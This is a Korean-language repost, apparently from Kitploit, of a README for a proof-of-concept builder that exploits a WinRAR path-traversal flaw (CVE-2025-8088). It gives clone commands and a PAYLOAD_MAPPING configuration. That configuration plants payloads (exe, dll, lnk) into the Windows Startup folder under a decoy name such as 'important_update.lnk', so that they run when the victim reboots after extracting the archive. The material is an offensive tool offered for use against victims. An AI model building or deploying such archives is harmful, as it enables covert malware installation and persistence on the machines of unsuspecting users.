CVE-2025-8088-WinRAR-builder — WinRAR 취약점(CVE-2025-8088)에 대한 POC 익스플로잇으로, 버전 7.12 이하에 영향을 미칩니다. | Kitploit

공유

CVE-2025-8088-WinRAR-builder

WinRAR 취약점(CVE-2025-8088)에 대한 POC 익스플로잇으로, 7.12 이하 버전에 영향을 미칩니다

🚀 작동 방식

다른 페이로드가 포함된 Rar 파일을 생성합니다
다중 ADS 스트림 사용 🔄 - 서로 다른 경로 탐색 깊이로 페이로드 스트림을 첨부합니다
RAR 헤더 조작 ⚙️ - 경로 탐색 취약점을 악용하기 위해 아카이브 구조를 수정합니다
시작 폴더에 페이로드 배치 📂 - 압축 해제 시 Windows 시작 폴더에 페이로드를 쓰려고 시도합니다

🛠️ 사용 방법

저장소를 클론합니다

git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git
cd CVE-2025-8088-WinRAR-builder

페이로드를 준비합니다

mkdir payloads

해당 폴더에 페이로드를 추가합니다 (exe, dll, lnk, ...)
스크립트에서 PAYLOAD_MAPPING을 수정합니다

# 2. 페이로드를 해당 대상에 매핑합니다
#   형식: (payloads_디렉토리의_파일명, 대상_추출_위치)
PAYLOAD_MAPPING: List[Tuple[str, str]] = [
    # 페이로드 1
    ("payload.lnk", "..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\important_update.lnk"),

    # 페이로드 2
    ("image.png", "C:\\Users\\Public\\Downloads\\logo.png"),

    # 페이로드 3
    # 직접 추가하세요    
]

피해자가 취약한 WinRAR(≤7.12)로 RAR 파일을 압축 해제합니다
페이로드가 대상 폴더에 기록됩니다, 예:
```
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
```
다음 재부팅 시 ➡️ 페이로드가 자동으로 실행됩니다